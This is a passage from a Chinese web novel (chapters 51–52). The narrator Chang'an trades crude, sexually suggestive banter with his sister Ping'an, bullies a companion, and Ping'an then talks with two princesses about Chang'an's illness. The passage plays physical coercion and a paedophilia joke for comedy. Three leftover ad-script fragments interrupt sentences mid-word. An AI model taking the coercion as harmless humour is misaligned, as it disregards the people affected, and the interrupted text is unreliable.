自己的妹妹,又不是诚心的,我肯定是不往心里去的,却也不是一点不在意的,于是决定惩罚她一下,让她长长记性,哼了一声,笑道:“你不要看我这样子你就轻敌哦,你信不信……我能给你家郑清勾搭成恋童癖?” “啊,你说的好可怕,你现在是男的。”平安倒吸一口凉气,转过头来在我耳边低声道,许是真给我气到了,又在我肩膀上打了重重一记粉拳解气,我瞬间本能腾起一股杀气,眼神戾气凛然,靠着理智迅速收敛。 “妹妹,你撒娇的时候下手有点重,我都忍不住下意识的想还手,下次把握着点,轻点。”我捂着肩膀,柔声道。平安点点头,怕是也被我刚才本能的反应吓到了,温柔地给我揉了揉。 我接着道:“不说可怕点你往心里去啊?男的怎么啦,恋童癖还管你是男女啊?” “你说的那些……我,不是往你心口上戳刀子哈,旁人我可能不放心,你,不可能,防你,用不着。我家郑清人品持重,我貌美如花……”平安对自己的美貌很有自知之明,到底因为刚才的话,跟我别着劲儿,语气带着若有似无的优越感。 这是存心不让我这顿饭吃安生喽,有些挑衅,我是不肯服输的,就算对方是妹妹。“哎呀我这该死的胜负欲!貌美如花又怎样?我跟你说肉~体算个屁,灵魂才是王道,截胡你个郑清,对我来说轻飘飘的事。”我笑得人畜无害,优雅地喝着平安一勺一勺地喂过来的清粥,眼睛盯着平安,粉嫩小巧的舌头,调皮的在勺子上轻轻一舔。 平安脸一红,身子一抖,手一颤,放下勺子和碗,心虚道:“喂,你是军师嘛,你可是军师哈,军师哪有自己下场的。”平安很吃惊,自己居然真的有些危机感了,她不明白,长安明明还是个孩子,刚才却像一朵盛开的罂~粟花,艳丽迷人,摄人心魄,勾人上瘾。 “巧了,偏我是个搞实战的,就喜欢劝妓女从良,诱人妻改嫁,拉和尚还俗,拖尼姑下水……”我哪里肯善罢甘休,坏坏的吃着刚才没吃完的半根黄瓜,盯着平安看她反应。 “哎,你不要嘛!”平安转身,见我吊儿郎当那样子,无计可施,只能娇嗔的摇晃着我,“你坏死了,你不要你不要……” “哎,对了(liao),就是这样不讲理,要的是你不要的也是你,要我手把手教的你是,不要我下场也是你,崇拜我的是你,瞧不上我的也是你,依赖我的是你,疑心我的还是你,出徒啦妹妹,但是找错靶子了呀大姐!我调教你是让你对着郑清去的,你冲我来啊,那你哪能是对手!” 平安眼睛一点点红了起来,一点点噙满了泪水,“长安,你埋怨我,你责备我,刚才我无心打了一下,你还朝我发恨来着……”梨花带雨的样子,我见犹怜,再不服软,任谁看了都是我在跟她计较,我在欺负她。 “啧,还真就是教了半天,冲我来了,我就说搬起石头砸自己的脚嘛,你还非说是错觉,妹妹,咱能……唉……”咱能把对郑清一半的感情放我 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身上吗?一半的一半也行。 我心里憋闷,不由举起手来运气向下一拍,原是想拍几案,最后还是理智占了上风,将面前的豆浆给冰镇了,微笑着端给有些心虚胆怯的平安喝。平安原本还跟我置气,她聪明,从我刚才的举动就知道我其实已经动气了,于是乖乖接过豆浆。 我扭头看着刚才吓得一哆嗦的堂邑夫和柳花郎,不由得迁怒,“还有你俩呢,也是拉胯的很,一个不听劝,听劝也不用挨那一顿揍,一个不听拦,听拦也不用跟着一起挨。” 我数落完柳花郎和堂邑夫,又对小口小口抿豆浆的平安道:“行啦,冰豆浆就别喝了,给堂邑夫吧,别忧心忡忡的样子,唉,都是吓唬你的,有困难就来找我商量,军师就算了,你家郑清我可不下场调教,那个马奴也就你自己当个宝,我说不屑你又伤自尊。哼,我得多无聊去勾搭一个马奴,还是我妹妹看中的,当然呢要真勾搭起来,我肯定心志坚定岿然不动,但他什么心思我不敢保证。所以你不要过分依赖我,事事假手于我,央求我替你做这做那,我和他之间最好隔着一个你。我还有很多事要忙,对没兴趣的人和事,懒得动心思也会很烦。退一万步讲,人心隔肚皮,他毕竟是个男的,万一,我说万一哈,真被我勾走了魂,又知道你是我的软肋,他拿捏你,你为了讨他欢心,反来逼我就范,咱俩倒被他一人拿下,一个马奴他能有多大的福分?哼!压不住,会折寿的。话是不好听,但大汉南唐这种事情多了去,别说你不知道,闲着没事你自己多想想,多动动脑筋,多琢磨琢磨。” 平安神色很难看,我接着道:“要心中有数,咱们是自家人,三分靠拿捏,七分靠配合,我愿意让你拿捏,是因为愿意配合你,喏,那花郎滑的和泥鳅一样,轻易不肯吃亏,要是不配合你能打到他啊。” 我本意不是要抬举柳花郎,但他却当了真,蹬鼻子上脸,应和道:“对我主要是配合,十分配合。” “个屁。”我气不打一处来,“你又不傻,落她们手里顶多埃顿揍,那小粉拳打在胸口上,还挺享受的吧,叫这么大声,叫那么浪,生怕别人不知道你有多快活?我妹妹是我的心尖尖儿,不如我妹妹的意,落我手里你就是个死,我不信你掂量不清,闹不明白这个事儿。” “哎,同样的事情你怎么两种说法。”柳花郎感觉被针对,被区别对待,心里不爽,不痛快,脸色变了又变。 “那教妹妹和教你能一样吗?”我白了他一眼。 “那堂邑夫呢?” 柳花郎拉堂邑夫下水,我立即护短,“堂邑夫和你可不一样啊,你是何乐而不为。他是看我妹妹打的辛苦,一心帮我妹妹才冲上前去的,结果到那儿就被打了,他那么天真单纯,无邪可爱,没那么些弯弯绕绕的心眼子,当时肯定就懵圈了呀,什么情况都搞不清楚了啊,他到现在都没反应过来是被你连累才一起挨得打。说来说去,还是就你下贱。” 堂邑夫很配合的抬起天真无邪的俊脸,傻傻的,茫茫然的,一副原来如此的样子,要多可爱有多可爱,听了我的解释,作势思考一番,忽然想明白了的样子,便很受伤很委屈很幽怨地瞪了一眼柳花郎,往我这边移了移,红着眼睛侧过头,像个无辜受累,却不善争辩只能忍气吞声的小媳妇。 柳花郎简直大开眼界,哑口无言。 惠王和齐王也稍稍远离柳花郎,这时,我挺直身子,正义凛然道:“不许搞孤立。”说着还特意推搡了一下堂邑夫,堂邑夫不情愿的扭动身子,迟疑一下才移了回去。惠王和齐王也移了回去。柳花郎脸上无光,憋了一肚子气,我用眼神警告他适可而止。 我拿起盘子上的鸡腿咬了一口,柳花郎立即护食,宣布主权,“这我的鸡腿。” “怪不得一股屎味。”我一脸嫌弃的样子。 “那你还吃?”柳花郎还嘴。 “还给你。”一个破鸡腿,我是不愿意那么幼稚的当着这么些人跟他抢。 “你都舔了。”柳花郎贱死了,他其实也不是护食,就是刚才觉得我针对他,大家又都孤立他,虽然我给他找回场子,但到底他很没面子,所以自尊心作祟,找我不痛快。 “你敢嫌弃我?”说着我当着他的面把鸡腿舔了个遍,拿到他眼前儿,起身居高临下,胁迫说:“吃了。” “我我能留作纪念吗?”柳花郎顿时害怕了,弱弱地问。 “念你妈?”我冷声道,说完又把鸡腿在他面前晃了晃,往前递了递。 “我想哕。”柳花郎看着鸡腿,有点犯恶心。 “咽回去。”我看着他,犹如魔头一般,冷声道。 51. 联想 “你吃不吃吃不吃?”我一手拿着鸡腿,一手拽着柳花郎的头发迫使他扬起下巴,使劲往他嘴里塞,他双手撑地,以使自己不至于狼狈后仰摔倒,牙关紧咬不肯就范,拼死抵抗我。 “我宁死不唔……”柳花郎左右别着头咬牙切齿道。 不等他说完,我情急之中,对着他的嘴巴“啊呜”就是一口,咬了上去。他蹙眉“唔”的一声,吃痛张开了嘴巴,我顺势把鸡腿塞了进去,看着呆若木鸡眼角含泪的柳花郎,很是满意道:“不屈个屁,还不是吃了?哼!” 众人都是一愣。不知谁小声说了一句:“长安……真是勇啊。” 柳花郎像个受气的小媳妇,一手拿着鸡腿,一手擦了擦嘴,看到手上的血,到吸一口凉气,更加委屈,眼睛红红的像个小白兔,“都给我咬出血了你,嘤嘤嘤……” 堂邑夫跟着一疼,“嘶”了一声,却道:“长安,咱下次能不能不用嘴啊,怪脏的。” “哎,成大事者不拘小节。” 惠王齐王和平安堂邑夫都一时语塞,只有柳花郎嘤嘤个不停:“这算什么大事儿?嘤嘤嘤……” “吃都堵不上你的嘴?”我冷声出言警告,“不许嘤嘤!”柳花郎果然老实了。 “长安你好残暴。你你你,最近情绪好像很不稳定,你要不,要不最近还是别去找郑清了,咱们陪着公主泡汤泉,游园子,舒缓舒缓身心也是好的。”平安心有余悸得很,觉得长安本来就对郑清很看不上眼,万一郑清木讷,反应慢了少许,又或许太过耿直,说话不注意,惹恼了长安,可大大不好。 我侧头看了看她惊魂未定的样子,白了她一眼,道:“谁要和你抢,你就一个破马奴,我有堂郎有樟郎还有一个花大姐,你像我这么大的时候我就集齐了,哦呵,在还喜欢虫子的年纪,我的人生就圆满啦。”我一边说着一边拍了一下堂邑夫,又走到齐王身边,抱着齐王的脖子,趴在他肩头,和平安炫耀,最后举起双手,一副胜利者的姿态。 “堂郎,樟郎,花大姐……是柳花郎?”平安看了看堂邑夫,又看了看齐王,接着不敢确定的看了看柳花郎问。 “不是啊,他不配,花大姐是花铁铁。” 吃着鸡腿的柳花郎听我这样说,觉得心脏揪了一下又一下。 “那花铁铁知道你把她当虫子,她不生气啊?”平安一直坚信柳花郎的说法,认为花铁铁是个易怒易发疯手段恶劣阴狠的女魔头,长安有些古怪的脾性就是因为交友不慎,结识了花铁铁导致的。 “不生气啊,你问他俩生不生气?而且我也是虫子啊。”说着我下巴指了指齐王和堂邑夫,然后摇头摆尾扮虫子。 “你是什么?”平安实在想不到长安还有这种喜好,蝴蝶她都是远远看着,萤火虫也都是让郑清提前给她装在丝囊里,那些丑陋吓人的虫子,别说喜欢,她连想想的念头都不敢有,每次看见了都吓得尖叫连连,被虫子爬过的地方不敢去,被虫子爬过的东西不敢碰……如果说荣珺怕鬼很是夸张,那么她简直害怕虫子到了病态。 “你猜猜看呐?”我继续摇头摆尾。 “是蚂蚁,小小的身体大大的力量?” 啧,平安还真是会映射人。我不悦的摇摇头。 平安见我摇头否认,又道:“那是蛐蛐?喜欢在背后去蛐蛐人?” 我脸色已经有些很不好了,平安小心谨慎地道:“该不会是……” “屎壳郎?”柳花郎大声抢答道。 语音未落,我一巴掌把他扇一边去:“去死吧你,大清早的吃着饭不愿意咒你,你自己作死。”又对着平安娇嗔柔声道:“笨死了,我是肚子里的蛔虫啊。” “……还真是。”平安思忖一番,觉得很对。惠王也一脸笑意点点头。 柳花郎捂着脸在角落,以为我没注意他,就暗自扣嘴巴,我立即胁迫道:“你敢哕,我就把你屁‘眼子封上,让你从今儿起,从哪儿进从哪儿出。” “太,残,暴了,长安,你为什么总是针对我。”柳花郎有些伤心,感觉自己被霸凌了。 不是早跟你说我嫉妒你一身仙骨吗?嫉妒这种东西,是忍不住的,我已经很克制了。我走过去捧着他的脸,认真道:“因为我并没有把你成功驯服啊。哎呦,你要明白一个道理,打不过就加入,你是一身仙骨,又不是一身傲骨,干嘛每次都和我顶着干?好好想想,别犯糊涂。走喽,找妹夫去喽。”说着我抬步蹦蹦跳跳出了大殿,惠王和齐王起身跟上。 堂邑夫过去扶着柳花郎起来,也准备跟上,却见,平安都出去了,又折回来给郑清带包子。 “我带俩包子给我家清哥哥。”平安一手抓一个包子举在胸前,一边往外走,一边让他俩别愣着,赶紧跟上。 堂邑夫觉得姿势不大对劲,就学我的样子教导平安,“平安,包子可以举高一点,或者拿低一点,就是不能放在胸前。” 平安顿住脚步,看了看手里的包子,觉得包子油脂麻花的,确实不好携带,一会儿放进她大背包里,再把里面的东西都给油污了,于是道:“那我换俩红枣馒头。”放下包子,抓了两个红枣馒头举在胸前,转身就走。 “是包子和馒头的问题吗?”堂邑夫像个大家长一样,又叫住平安,蹙眉严肃道。 平安受不了旁人用我对她的态度对她,即便这个人是堂邑夫也不行,立即恼火了,“那是我的问题喽?长安,长安,堂邑夫和柳花郎针对我,你快管管啊。”说着跑出大殿找我告状。 柳花郎简直要死了,“哎,到底跟我有什么关系,每次都带上我,我什么也没说好吧!” 堂邑夫和柳花郎对视一眼,表示很是同情和无奈。两人叹了口气,却又不自觉的看了看白白嫩嫩中间插着个红枣的馒头。忽然,两人似乎受到什么感召,打了一个激灵,下身一紧,不约而同的蹲下,又对视了一眼,“你脸红什么?”“你也脸红啊。”两人心照不宣。 柳花郎扫了一眼红枣馒头,别过眼去,道:“这,这馒头谁做的,怎么看着这么淫‘荡。” 堂邑夫也很不自在,“想不到,居然有一天会对馒头产生联想。” “你俩蹲那干啥呢,还不跟上?又怎么平安了,气得她直嗷嗷,你俩加一起四十好几了都,让着她点不行啊。”我抬步进殿,边走边说。他们看见我进来,同时拂袖遮住小腹,堂邑夫穿的是干练的武装窄袖,便扯了扯柳花郎宽袍的袖子,柳花郎还很是贴心的往他那边靠了靠。堂邑夫一把握住柳花郎的手,对他的善解人意回以感激。 “肚子疼啊?”我看着这俩人,问道。堂邑夫应该是因为刚才那碗冰豆浆?柳花郎……别是因为那个被我舔过的鸡腿吧,我口水这么毒吗? 他们神色一敛,仿佛找到合理的理由,舒展愁眉,坚定地对我点点头。我看见他俩紧紧靠在一起,紧紧握在一起的手,有些气不打一处来,停下上前要给他们把脉的脚步,“我眼皮子底下,什么时候感情这么好的?”昨天‘□□恩公’的乌龙事,我不是都给拆穿了吗?今早回过味儿来的柳花郎还抱怨来着。方才我针对柳花郎,堂邑夫没给他帮腔,还跟我打配合,俩人还互瞪来着。怎么,一起欺负完平安,就统一战线了? “没,没有啊。”两个人慌张的松开彼此紧握的手,嚯的一下,站起身来,却并没有分开靠在一起的身体。摇摇晃晃,相扶相持,拉拉扯扯,很是虚弱的佝偻着腰,动作同步的默契十足。二人额角汗珠如豆,呼吸急促,面色土黄,神色慌张,躲避我探寻的目光。 我一看这情形怕是真的病了,上前要搭脉,两人却不约而同向后退了一大步,还差点没站稳。我定主脚步,心道:啧,应该是刚才那碗凉豆浆!我问堂邑夫道:“是冰豆浆?” 堂邑夫点点头,我又道:“那柳花郎?” “哦,他剩了半碗,我吃鸡腿噎得慌,给喝了。”柳花郎虚弱的解释道。 “你那么嫌弃我,怎么不嫌弃堂邑夫?现成的清粥,茶水,你非喝他剩下的半碗凉豆浆干啥,恁俩人今天是不能用了,啧。”我走到大殿中间,对着上堂已经用完膳,喝茶漱口的太子行礼道:“太子殿下,跟你借个人啊。” “我。”太子还没回复,韩燕熙就举手起身过来了。 “你速速退下吧,凑什么热闹,我身边有个柔弱不能自理的妹妹,还有惠王齐王两个身子亏空的病秧子,和这两个突然虚弱到站都站不稳的大傻子,我脑子有病啊,还得再加你一个情绪不稳定的大疯子?李大公子有劳了。”我看了一眼李大公子,行了一礼,又对太子行了一礼。太子殿下点头示意,李大公子便行礼退下,向我这边走来。 我出殿前,想着今早膳光顾着说话,吃的有点少,便顺手拿起桌上的红枣馒头,一口咬掉了红枣子,鼓着腮帮子用力的嚼着。不论什么食物,我都习惯上来先吃最好吃的那一口。 堂邑夫和柳花郎两个大傻子,见我如此,忽然很夸张的倒吸一口凉气,身子一敛,瞬 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间立正站好。我顿住步子,看着这两个不太正常的人,只见他们直起身以后先是看了看自己的下身,又交错视线看了看对方的下身。然后彼此安心的相视一眼,踏实地舒了口气…… 我跟着他们的视线上下左右来回看,对那个,尴尬的位置,简直无语,一脸嫌弃,忽然想到什么,怒气瞬间达到巅峰,厉声道:“又不是彼此没有,还要看彼此的干啥,堂邑夫,不是刚戒了女色,怎么……什么时候好上这口的,你要死啦,柳花郎你也要死啊?是被女人追着打怕了吗?敢祸祸我家堂邑夫?” 他俩闻言,反应过来我因何生气,吓得惊恐对视,用力弹开彼此,大叫没有。 见他们极力否认,我立即收了杀气,满意的点点头,“这个反应……才对,嗯,那是我误会了,可是你俩……算了懒得管你们……新下来的小麦就是香,红枣馒头不错,堂邑夫再给我带几个叫平安拿着我们中午吃。”说着又咬了一口馒头,却见堂邑夫盯着我手里馒头上下滑动着喉结,脸红到脖子,“不是你对着馒头脸红个什么劲儿,别是真有什么大病?我没工夫给你看,你自己抽空去师兄那瞧瞧。” 那边柳花郎赶紧转过身去,慌里慌张扯衣服袖子,遮遮掩掩的样子,让人很看不上。我这身边都收拢了一些什么不给力的人呐我的天爷,我脸上的肉不自觉的抽了抽:唉…… 我无奈地瞪了他俩一眼,再不理会奇奇怪怪的二人,带着李大公子就出了大殿。 才出汤泉宫的宫门,平安忽然很是焦虑的说道,早上光顾着和我聊天,竟然忘记梳妆打扮了,得先回家化妆更衣才能去见她的心上人。 眼见早上的艳阳就要毒热起来,她要这么折腾,估计又要被晒得出不了门。于是我叫她别回家麻烦了,让她回去借公主的用品上妆,顺道帮我办件事。把平安拉到一边,在她耳边耳语,平安接到任务有些不自信,害怕自己办砸了,我说办砸了也没关系,左右不是什么要紧的事儿,办好了自然省了一些麻烦,办不好我再想办法。 平安想了想,左右是顺便的事,又是件好事,她也老早就想帮我做事,便点头应下。 我吩咐跟上来的堂邑夫去平安家找翡翠拿衣服,平安说她要青黄衫配深绿裙裤的那一套,让堂邑夫和翡翠一说就行,翡翠都知道。堂邑夫立即飞身上马扬鞭而去。因为早上的事儿,我看着柳花郎就来气,让他跟着平安一道晚点去,省得我控制不住又要针对他。 他说没事,说想提前跟着我去看看我如何教郑清武艺的,顺道学学功夫,开开眼界。平安闻言就生气了,说柳花郎瞧不上她,不愿意跟她一道就别跟了,说再也不想看见柳花郎了。说完转身就走,脚步极快。柳花郎又贱兮兮在她屁股后面追着哄,还差点一个趔趄卡倒了。 我看着开心,咧嘴笑道:“对嘛,女人嘛,就应该是这样子才对啊,多可爱啊……”我笑眯眯地看着平安和柳花郎吵吵闹闹的背影,惠王和齐王笑眯眯地看着我。直到平安转过拐角,我才收回视线说了声:“好啦,你们饭后散步结束,就送到这儿,天气热,你们回去泡泡汤泉好好修养,记得乖乖把我开的药喝了,我过午就回来。”说完和李大公子骑上马扬长而去。 汤泉宫很大,两个亲王散着步一边看景一边闲聊着往回走,惠王问齐王道:“说说你和长安的事啊?” “没啥好说的,”齐王脸红,反问道:“兄长和长安怎么认识的?” 惠王倒不扭捏,大大方方的讲述起来。 两位公主见平安回来很是开心,汤泉宫的花开得好,她们和宫人们一起采了一些,正在凉亭里做瓶插花艺,荣玥道:“马上就做好了,一会送到父皇寝殿,剩下的花儿咱们一起做口脂啊。” 平安着急会情郎,并不搭茬,只管她们借了妆奁,荣玥有些失望,却还是让宫人们把妆奁拿到凉亭来,平安便急急对镜梳妆。她本就美丽,稍施粉黛就明艳动人。松了发髻,想着要去马场,就简简单单编两条长长的麻花辫,轻轻拉扯的松松垮垮的,却并不凌乱,反而更加俏皮可爱,她又挑了一些公主插花剪下来的小花别在辫子上,在眼角画了朵淡黄色的小花,又点了一个新式样的唇妆,还在嘴巴两侧画了梨涡。 站在亭子外的柳花郎看着装扮好的平安,夸她妆容美丽,整个一个花仙子。平安还生他的气,噘着嘴巴,哼了一声,不理他。两位公主看着喜欢也嚷嚷着要画,又想起平安给人化妆的水平实在不上台面,就命柳花郎给她们照着画一个。 52. 布局 平安对着洗手准备给公主上妆的柳花郎说,她才不要做什么花仙子,一会儿堂邑夫来了,她换上衣服,就是林间的小花妖,她家郑清看了一定很喜欢。 这个也要怼?柳花郎觉得自己心口一憋,忽然很能理解长安为什么那么看不上郑清了,那是因为平安实在太看得上郑清,她满心满眼都是郑清,不管做什么事情想什么事情,都把郑清当做出发点和落脚点,实在让人很难不产生嫉妒和讨厌郑清的心情。 公主的妆上好了,花也插好了,平安看了看,帮忙修剪了一下,公主觉得果然比之前好了很多,连公主的女官也赞叹不已,觉得很有意境。 虽然之前刘景一直对外宣称修养身体,太子也还在被打压中,但由于在梁王的一应事务上,太后都得到了满意的结果,她寿辰在即,太子在刘景的示意下也不再刻意,甚至尽量避免提出和她不同的政见。 如今一家子血亲,关系十分融洽,太后关注点大都放到了小儿子梁王身上,刘景父子俩在诸王来朝的这段时间反而重新担起太后之前独揽过去的政务,早膳后便在汤泉宫正殿接见大臣处理政务。 其他亲王世子们到汤泉宫别处宫室休闲娱乐,或泡汤泉,或饮茶对弈,乐府助兴,好不逍遥自在。 平安和两位公主从侧门进入内殿刘景的寝殿,为了不打扰前殿办公的父兄,公主刻意压低了声音,指挥宫人找合适位置摆放瓶花。随后便去了一处水榭。 这处水榭与正殿隔了一片莲池,这个季节荷叶旺盛,荷花也开的正好,平安和公主门一边做口脂,一边聊起长安来。平安总压低了嗓子说话,荣玥笑着让平安放松些,声调就如平时一般即可,不用担心惊扰的父兄,隔着一片大大的荷塘呢,正殿的声音她们听不到,她们说话的声音,正殿里自然也听不到的。又指着不远处的紫竹林道:“那边林子后头是亲王们在娱乐,谈笑风生,丝竹管弦,声音大着呢,你能听见吗?” 平安侧耳细细听,只隐隐约约听到些细小的声音,确定那边有人而已,感叹建筑宫闱的匠人造诣之高真是令人惊叹,连隔音都做得如此的好。不向她的小院子,院墙外面,风吹草动,听的一清二楚,又想,宫墙内的寂静关键应该是皇家园林太大了,建筑与建筑之间的距离太远所致,倒也少了烟火气。看着公主们言谈如常,平安于是便也不再刻意压低声调,毕竟也挺伤嗓子的,她很爱惜自己喉咙。继续做口脂继续聊天,说着说着就放开了,欢乐兴奋处,甚至和公主们高声谈笑。 荣珺公主认真道:“我喜欢长安哥哥,长大了我要让他做我的驸马。” 平安闻言蹙眉道:“不是和公主说过了吗?长安生病了,长不大啦。” “我知道啊,可我不嫌弃他啊。我喜欢他,要嫁给他,他难道不应该很开心,很乐意吗?我可是公主哎。”荣珺很是不解平安的反应,此等恩典,她做什么那副为难的样子。 平安调整了一下情绪,微微笑着道:“公主殿下喜爱,自然是长安的荣幸,可是……这种话私下说给咱们听就好了,千万不要让他听到。长大啊,嫁娶啊,这类的话,长安听了会伤心难过,会心碎的。” “可我真的不嫌弃他啊,我会喜欢他一辈子的。”荣珺郑重其辞。 越是这样认真,平安就越觉得此事非同小可,得及早灭了这个苗头才好,不然以后公主发现长安不仅有病,还不是个男的,会炸的。“有些事情不是公主不嫌弃,长安就可以不伤心不心碎的,是他,给不了你……” 平安顿了顿,将手里做口脂的器物放下,一边思索一边小心道:“一个正常男人能给得起的一切……嗯,假如,我是说假如哈,我想举个例子,可能会冒犯到公主,但绝对没有要诅咒公主的意思,只是想你感同身受哈。”平安见荣珺点头允可,继续道:“男人都有各自喜好,会喜欢女人身上不同的地方,不仅仅是好看的容貌,比如有人喜欢女子的颈子,有人喜欢女人的脚踝,还有人喜欢女人腰肢,总之各有各的喜欢。假如长安是一个正常的男人,对公主情有独钟,却恰恰最爱女人的手臂,偏偏公主身有残疾,没有手臂,这便是公主无论如何都给不了长安的满足,那长安就算爱惨了公主,真心不嫌弃公主,可公主内心又是什么感受呢?” 荣珺抱臂,很爱惜的看着自己手臂,很伤心的样子,道:“我会很伤心,很难过,很自卑……”荣玥也停下手里的活儿,思忖着。 平安将荣珺抱在怀里,捏了捏她可爱的小脸蛋,温柔道:“对啊,会伤心,会心碎,会自卑,会觉得没办法见人……对方的爱越深,反而伤害越大呢。而且以后公主的心意会怎样也说不准啊,现在长安和你看似一样大,过几年你长大了,长安还是小孩子摸样,公主就只把他当小弟弟看了呢!再过几年公主觅得如意郎君婚配出嫁生儿育女,长安还是老样子,说不定还要被你的子女纠缠着做玩伴呢?以后的事谁也说不准,那现在就不要说这些提前让他很受伤很接受不了的话,那样是在他心上捅刀子啊。” 荣珺很喜欢平安的怀抱,香香的软软的,很安心,她仰着下巴,看着平安的笑容,有些自责道:“是我欠考虑,只顾着自己的喜欢,还好有你及时告诉我开借我,不然真的要伤害到长安了,长安……好惨啊……” “公主真是善良啊,真是可爱……”平安希望自己也有这样一个善良可爱的女儿,抚摸着荣珺的头发和小脸蛋,忍不住亲了一下。两人相视一笑,平安接着道:“公主不用担心长安,他啊好坚强的,他虽然病成那个样子,但从不自怜自弃,练就一身好本事惩恶扬善,天赋异禀又聪明又机灵,悬壶济世救死扶伤,每天调皮捣蛋的,快快乐乐的,日子过得精彩着呢。” 说到这里,大家都想起长安平时的样子,想起他高超的武艺,也想起他的坏心眼儿,都呵呵笑起来。笑着笑着平安就笑不出来了,泪水在红红的眼里打转,她侧过头去遮掩,却依然逃不过众人的眼睛。 柳花郎和那些随侍的宫人一样,不敢介入三个美人的谈话,只在一边帮着平安打打下手,见平安默默垂泪,便递上帕子。荣玥和荣珺一番关心,平安才稳定了情绪。 平安对自己起伏不定的情绪感到抱歉,“长安他……他从来不是真正地快乐,只是假装很快乐而已,他其实一点也不坚强,磕到碰到受了伤,就会哇哇大哭,晚上会怕黑,身边要有人陪着睡,怕做噩梦,会哭着说想爹爹了,会让我假装娘亲去哄他,他总是偷吃糖,是因为他活的太苦了,吃了很多苦,心里也很苦,除了长不大,他还有一身伤痛,他虽然医术高超修补好了皮相,外表看不出来,可是他最讨厌阴天下雨,那个时候他浑身不舒服,那些旧伤隐隐作痛,他……还有饿病,那是最折磨人的病,一辈子没有饱腹感,一辈子要忍受饥饿……” 平安的泪像断了线珠子,水榭里闻者落泪…… “他所有的伪装都是不得已……可是,不要同情他哦,他会很没面子的。唉,这些话是我多嘴了,公主听了就赶紧忘了,他知道了会气到爆炸的。”平安哽咽着说完, “什么是饿病。”荣珺第一次听说有这种病。 “公主问旁人好了,我这会儿很难过,关于长安的事儿,一时半会儿没办法和公主继续聊下去。”说完平安伏案抽泣,身体抖动的不行。 柳花郎抬起手,又收了回去,摸了摸自己的泪水,他原本只以为自己是天下最惨的人,没想到…… “长安活得这么辛苦,好可怜啊!哦,他不喜欢被同情。”就算长安不在场,荣珺也自觉失言,捂了捂嘴巴,又接着道:“可我真的很喜欢他,而且现在不仅很喜欢他,还很敬佩他,崇拜他,就算不能嫁给他,也还是很想和他在一起,虽然他总是戏弄我惹我生气,我还是很喜欢他,我想和他做朋友。” 平安稳定好情绪,见荣珺公主赤诚可爱,更加喜欢她,便微微咧嘴一笑,温柔道:“做朋友当然可以啊,”她一直想着长安交给她的任务,认为这是一个不错契机,“可是长安喜欢和读书人做朋友,他说他能感受到读书人身上的灵气,高洁干净清纯,是他喜欢的气息。” “读书人身上的灵气?”荣玥荣珺不禁好奇。 “对啊,我也问过长安同样的问题,长安说读书人都是文曲星入了命格的,金榜题名的更是上承天命,星宿作保,就算不是正印也是偏印,气息和常人是不同的。”平安喝了一口柳花郎递过来的茶水,稳了稳,接着道:“长安给我讲过一个故事,说有一户人家的公子是个读书人,被精怪缠上了。嗯……读书人身上都有灵气,会招惹一些精怪,这些精怪需要借助日月精华天地灵气修行,人是万物灵长,读书人的灵气更加纯正,也更容易得到,它们贪婪那些灵气,就会冒险来到俗世,使劲浑身解数变成美貌的女子,或者入梦去勾引读书人,有些读书人意志不坚定,就会被缠上,那读书人的父母一步一跪拜才求得了长安师父给的化解之法。” “什么法子?”公主们急切地问。 “让那读书人每天夜里读书读到鸡鸣天亮,之间不管听到什么看到什么发生什么,都不可终止,连续读上七七四十九天,便可祛除邪祟保住性命。道理大抵是心智坚毅,正气凌然,才能邪不压正,百邪不侵。” “那那个书生得救了吗?” “啊,我忘记问了呢?因为长安又给我讲了另一个故事。”平安道:“说是有只蜈蚣精兴风作浪为祸乡里害人不浅,上天要惩罚它,降下天雷来。那蜈蚣精有些道行,心智成熟,便有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了应对,躲在一处庙宇外面伺机自保,一批上京赶考的举子途径此处,以为天雷滚滚要下雨,就进庙躲避,那蜈蚣精就钻进举子的书箱里趁机进了庙宇。也是造化,要是没有举子读书,即便是进了佛堂蒙受庇佑,也不得周全,终是要损耗修为。可巧这群举子里,有勤奋爱学的,读书声不止,外面的惊雷落下来,就总也劈不中躲在书箱里的蜈蚣精,九道惊雷下来以后,读书声都没有停,我还真是佩服那个读书人。所以蜈蚣精也躲过一劫。” “读书人这么厉害啊!”荣珺赞叹道。 荣玥颇为骄傲的扬声道:“对啊,父皇读书就很厉害,年轻的时候也参加过科举,金榜提名哦。” 平安笑道:“对啊,所以天下读书人都以陛下为楷模。长安最崇拜的就是陛下呢。” 荣珺毕竟是孩子,孩子对故事都是寻根问底的,“那后来蜈蚣精怎么样了,总不能做了坏事,借助读书人的灵气就那么躲过天谴吧。” 平安简直爱死这个天真可爱的小公主了,捏捏她的小脸蛋,“当然是法网恢恢疏而不漏,连白娘子也会因为水漫金山误伤生灵,而被镇压在雷峰塔下,那蜈蚣精这么坏,怎么可能躲过惩罚,最后被长安师父给收了,作成丹药治病救人了。” “啊,那长安见过蜈蚣精!”荣珺更加崇拜长安了。 平安笑着摇摇头,道:“应该没见过,因为都是他师父年轻时候的事了,都是长安小时候他师父哄他睡觉讲给他听的,那个时候他师父已经有一百二十多岁了呢?说是快一百岁的时候忽然不想修道了,就还俗娶妻生下了苏和,苏和现在都三十多岁了,堂邑夫说苏和长得和他们师尊一个模子刻出来的一样,想知道他师尊什么样子,就想象一下苏和四十出头的样子就可以。” “那岂不是看起来和父皇差不多?”两位公主对视道。 “对啊,一百好几十岁的人,才只有四十出头的样子。我羡慕的不行,我和长安说也想青春永驻,让他教教我一些术法,可是他因为身体坏了,着急投胎转世,根本不想长生不老,所以没和他师父学长生术。”平安觉得很可惜,这等世人求而不得的好东西,长安一点也不热衷,白白失传了,不过也表示理解,如果是她永远长不大,她会不知道怎么面对郑清,也会想早早结束此生。 荣珺叹了口气道:“长安天不怕地不怕的,是因为早就不想活了吗?”因为不怕死,甚至还想死,所以放浪形骸,语出惊人,不畏权贵,肆意妄为…… 